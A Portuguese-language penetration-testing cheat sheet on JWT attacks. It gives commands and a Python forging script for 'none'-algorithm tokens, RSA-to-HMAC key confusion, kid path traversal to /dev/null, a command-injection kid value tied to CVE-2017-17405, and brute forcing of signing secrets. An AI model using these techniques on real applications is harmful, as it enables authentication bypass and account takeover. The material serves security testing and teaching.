JWT

Estrutura

O JWT (JSON Web Token) é divido em 3 partes, separadas por um . (ponto). A primeira parte é o Header (configurações do JWT), a segunda parte é o Payload (infomações particulares do usuário) e o último é a Assignature (chave de acesso). Tanto o Header, quanto o Payload podem ser descriptografados e manipulados, pois estão em base64.

No Header, geralmente vamos temos ter uma configuração do tipo {"alg":"HS256","typ":"JWT"}, onde podemos selecionar o tipo de algorítmo, como HS256 (chave secreta para assinar e verificar cada mensagem) ou RS256 (usa a chave privada para assinar a mensagem e a chave pública para autenticação). Como a chave pública às vezes pode ser obtida pelo invasor, ele pode modificar o algorítmo no cabeçalho para HS256 e, em seguida, usar a chave pública RSA para assinar os dados. O código de back-end usa a chave pública RSA + algorítmo HS256 para verificação de assinatura.

Na segunda parte (payload) contém informações do user, como login, groups, etc. Também vemos alguns valores não obrigatórios, mostrados abaixo:

INDEX

DESCRIÇÃO

sub (subject)

Entidade à quem o token pertence, normalmente o ID do usuário

iss (issuer)

Emissor do token

exp (expiration)

Timestamp de quando o token irá expirar

iat (issued at)

Timestamp de quando o token foi criado

nbf (Not Before)

Identifica o tempo antes do qual o token não deve ser aceito para processamento

aud (audience)

Destinatário do token, representa a aplicação que irá usá-lo

A última parte (assignature) é feita com o seguinte padrão (exemplo feito em Python):

key = 's3cr3tk3y'
unsignedToken = encodeBase64(header) + '.' + encodeBase64(payload)
signature = HMAC-SHA256(key, unsignedToken)

Gerando Chave Privada e Pública

ssh-keygen -t rsa -b 4096 -m PEM -f jwtRS256.key
openssl rsa -in jwtRS256.key -pubout -outform PEM -out jwtRS256.key.pub

Manipulando Token

Isso irá alterar os valores em tempo real.

python3 jwt_tool.py -T "<token>"

JsonWebTokenError (Modo Debug Ativo)

Nada melhor do que procurar dados sensíveis em um dos princípios básicos da segurança: Mensagens de erro ou debug!!

No caso do JWT é até melhor do que isso, pois podemos ter na resposta do erro, a assinatura (última parte do token). E o melhor de tudo, para fazer isso basta enviar um token inválido. Mas não envie um abcd da vida no token, mas sim um token inválido que tenha pelo menos a estrutura de um token válido, por exemplo, podemos pegar um token válido e alterar o payload.

Provavelmente ao enviar o token manipulado, a aplicação irá nos retornar uma mensagem como no exemplo abaixo, então basta pegar o hash desse resultado (em negrito), colocar na última parte do token (assinatura) e enviar novamente ao endpoint.

JsonWebTokenError: Invalid Signature. Expected cASN_7WEv-nr_Z7XZFT0hVGOFPeeo7Qlvp7-QrZtdw4 got 7zobEz6bncpk7OjQpTfvh-a3ElW1HK3L4Wyypgxa_dw

None Algorithms

Pegue o token JWT, divida-o em 3 partes separadas por pontos (<header>.<payload>.<assignature>). Faça um base64 decode da primeira parte e altere o valor de alg para None. Agora na segunda parte, manipule algum valor do user, por exemplo, podemos mudar o tipo do user para um perfil de administrador ou até mesmo ter acesso ao usuário admin (alterando o username/login). A última parte é a assinatura, então não iremos mexer em nada.

DICA: Já presenciei alguns valores diferente do alg dando certo de maneiras diferentes e em diferentes lugares, então tente algumas variantes, como None, none, "None" e "none".

Feito isso, codifique essas duas partes em base64 e monte o token novamente, utilizando o . (ponto) para dividir as 3 partes. Como o alg foi definido como None, então não precisa colocar a última parte do token, ficando assim no seguinte padrão: <header>.<payload>. (Deixe o ponto no final). Agora coloque o token no header e veja se o resultado.

NOTA: Ao fazer um base64 decode, pode ser que o json não fiquei no seu formato correto (geralmente faltando um } no final). Arrume isso colocando um sinal de = no final do encode original, mas não use-o no Request Header.

TokenBreaker

Tudo o que vimos como fazer um ataque None Algorithms de forma manual, vamos utilizar uma ferramenta para automatizar o processo.

python3 TheNone.py -t <token>

Convertendo RSA para HMAC

Podemos modificar o header para ler um HMAC (HS256) ao invés de RSA (RS256). Porém, para realizarmos essa operação, precisamos ter um rsa public key em mãos, ou caso contrário, não irá ter êxito. O RsaToMac.py faz parte do pacote TokenBreaker.

python3 RsaToHmac.py -t <token> -p <publickey.crt>

KID (Key ID)

Em alguns casos (principalmente nas aplicações mais modernas do JWT), vemos o campo kid (Key ID) no header, seguido de um hash. O servidor usa isso para evitar que alguém possar alterar os valores do header. Mas como nada é perfeito, veremos que o kid também possui falhas.

Podemos utilizar um token de outro usuário, alterando o valor do kid para ../../../../../../../../../../dev/null, e utilizando a key (para gerar o token com valor vazio). Feito isso, basta alterar no payload as devidas informações para utilziar a conta de outro usuário.

Também podemos citar a CVE-2017-17405 que surgiu a partir do kid, onde podemos conseguir um RCE, aproveitando de uma falha escrita em Ruby. Para isso, precisamos apenas trocar o valor do kid para |<comando>.

jwt_tool

python3 jwt_tool.py <token> -I -hc kid -hv "../../../../../../../dev/null" -S hs256 -p ""

Brute Force

jwtcat

Utilizando incremental

python3 jwtcat.py brute-force --increment-min 6 --increment-max 6 "<token>"

Utilizando wordlist

python3 jwtcat.py wordlist -w <wordlist> <token>

jwt_tool

Selecione a opção 7 depois de executar o comando abaixo:

python3 jwt_tool.py -d <wordlist.txt> <token>

c-jwt-cracker

Brute force em uma senha que possui somente 6 dígitos:

./jwtcrack <token> 1234567890 6

jwt-pwn

python jwt-cracker.py -w <wordlist.txt> -jwt <token>

jwtcrack

python3 crackjwt.py <token> <wordlist.txt>

Hashcat

hashcat <hash.txt> <wordlist.txt> -m 16500 -a 3 -w 3

John the Ripper

john <token.txt> --wordlist=<wordlist.txt> --format=HMAC-SHA256

Forjando JWT com Certificado Digital

Primeiro vamos extrair o certificado (https), que pode ser pêgo através do navegador web, ou utilizando o comando abaixo e verificando sua saída.

openssl s_client -connect <site.com>:443

Agora devemos extrair a nossa chave pública a partir do certificado que acabamos de capturar.

openssl x509 -pubkey -noout -in <certificado.crt> > publickey.pem

Abaixo está um script desenvolvido em python para gerar um novo token JWT válido a partir da chave pública gerada. Não se esqueça de alterar o valor da variável encoded_payload no código abaixo.

import jwt

key = open("publickey.pem").read()
encoded_payload = jwt.encode(
{
  "id": 1,
  "iat": 1571250692,
  "exp": 1571237092,
  "username": "administator"
},
key,
algorithm='HS256'
)

print "Forged Token: %s" % (encoded_payload)

Por fim, execute o script para ter um JWT válido em mãos

python <xpl.py>

Buscando por Diversas Vulnerabilidades

jwt tools

python3 jwt_tool.py -M at -t "https://site.com" -rh "Authorization: Bearer <token>"

jwtcat

python3 jwtcat.py vulnerable <token>

Sites

# Validação de tokens
https://jwt.io/

# Tools
https://github.com/Goron/TokenBreaker
https://github.com/AresS31/jwtcat
https://github.com/ticarpi/jwt_tool
https://github.com/Sjord/jwtcrack
https://github.com/brendan-rius/c-jwt-cracker
https://github.com/mazen160/jwt-pwn

# Explicação sobre como funciona o JWT
https://tools.ietf.org/html/rfc7515

# Tutoriais sobre ataques contra JWT
https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6
https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a
https://medium.com/trainingcenter/jwt-usando-tokens-para-comunica%C3%A7%C3%A3o-eficiente-cf0551c0dd99
https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through/

Last updated